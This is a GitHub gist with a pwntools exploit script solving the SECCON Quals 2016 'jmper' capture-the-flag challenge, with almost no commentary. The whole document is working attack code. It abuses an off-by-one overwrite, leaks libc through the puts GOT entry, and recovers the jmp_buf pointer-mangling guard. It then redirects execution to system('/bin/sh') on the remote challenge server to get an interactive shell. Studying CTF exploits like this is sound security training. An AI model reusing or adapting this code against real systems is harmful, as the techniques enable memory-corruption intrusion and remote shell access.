Skip to content

Instantly share code, notes, and snippets.

@chitoge
Created December 12, 2016 15:41
Show Gist options
  • Save chitoge/29d3848fe8c87e7971ea3e126db0ce7c to your computer and use it in GitHub Desktop.
Save chitoge/29d3848fe8c87e7971ea3e126db0ce7c to your computer and use it in GitHub Desktop.
SECCON Quals 2016 jmper
from pwn import *
puts_got = 0x601FA0
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
#r = process('./jmper')
r = remote('jmper.pwn.seccon.jp', 5656)
# alloc a single student
r.recvuntil('6. Bye :)')
r.sendline('1')
# recover current name pointer
r.recvuntil('6. Bye :)')
r.sendline('3')
r.sendline('0')
r.sendline('A' * 32)
r.recvuntil('6. Bye :)')
r.sendline('5')
r.sendline('0')
r.recvuntil('A' * 32)
current = u64(r.recvuntil('1. Add student.', drop=True).ljust(8, '\0'))
log.info('Current name addr @ %#x' % current)
# off by one control current pointer
new_ptr = current + 88
r.recvuntil('6. Bye :)')
r.sendline('1')
r.recvuntil('6. Bye :)')
r.sendline('3')
r.sendline('0')
r.send('A'*32 + p8(new_ptr & 0xff))
# leak libc address
r.recvuntil('6. Bye :)')
r.sendline('2')
r.sendline('0')
r.sendline(p64(puts_got))
r.recvuntil('6. Bye :)')
r.sendline('4')
r.sendline('1')
r.recvuntil('ID:')
puts_addr = u64(r.recvuntil('1. Add student.', drop=True).ljust(8, '\0'))
log.info('puts() addr = %#x' % puts_addr)
# name -> jmpbuf RIP (8-th qword)
r.recvuntil('6. Bye :)')
r.sendline('2')
r.sendline('0')
r.sendline(p64(current - 0x110 + 8 * 7))
# recover canary
r.recvuntil('6. Bye :)')
r.sendline('4')
r.sendline('1')
r.recvuntil('ID:')
canary = u64(r.recvuntil('1. Add student.', drop=True).ljust(8, '\0')) ^ rol(0x400c31, 17, 64)
log.info('canary = %#x' % canary)
# overwrite saved RIP & RDI
system_addr = puts_addr - 169936
binsh_addr = puts_addr + 1100643
log.info('system = %#x' % system_addr)
log.info('binsh = %#x' % binsh_addr)
r.recvuntil('6. Bye :)')
r.sendline('2')
r.sendline('1')
r.sendline(p64(rol(system_addr, 17, 64) ^ canary))
r.recvuntil('6. Bye :)')
r.sendline('2')
r.sendline('0')
r.sendline(p64(current - 0x110))
r.recvuntil('6. Bye :)')
r.sendline('2')
r.sendline('1')
r.sendline('/bin/sh')
# call stuff
for i in xrange(28):
r.recvuntil('6. Bye :)')
r.sendline('1')
r.interactive()
r.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment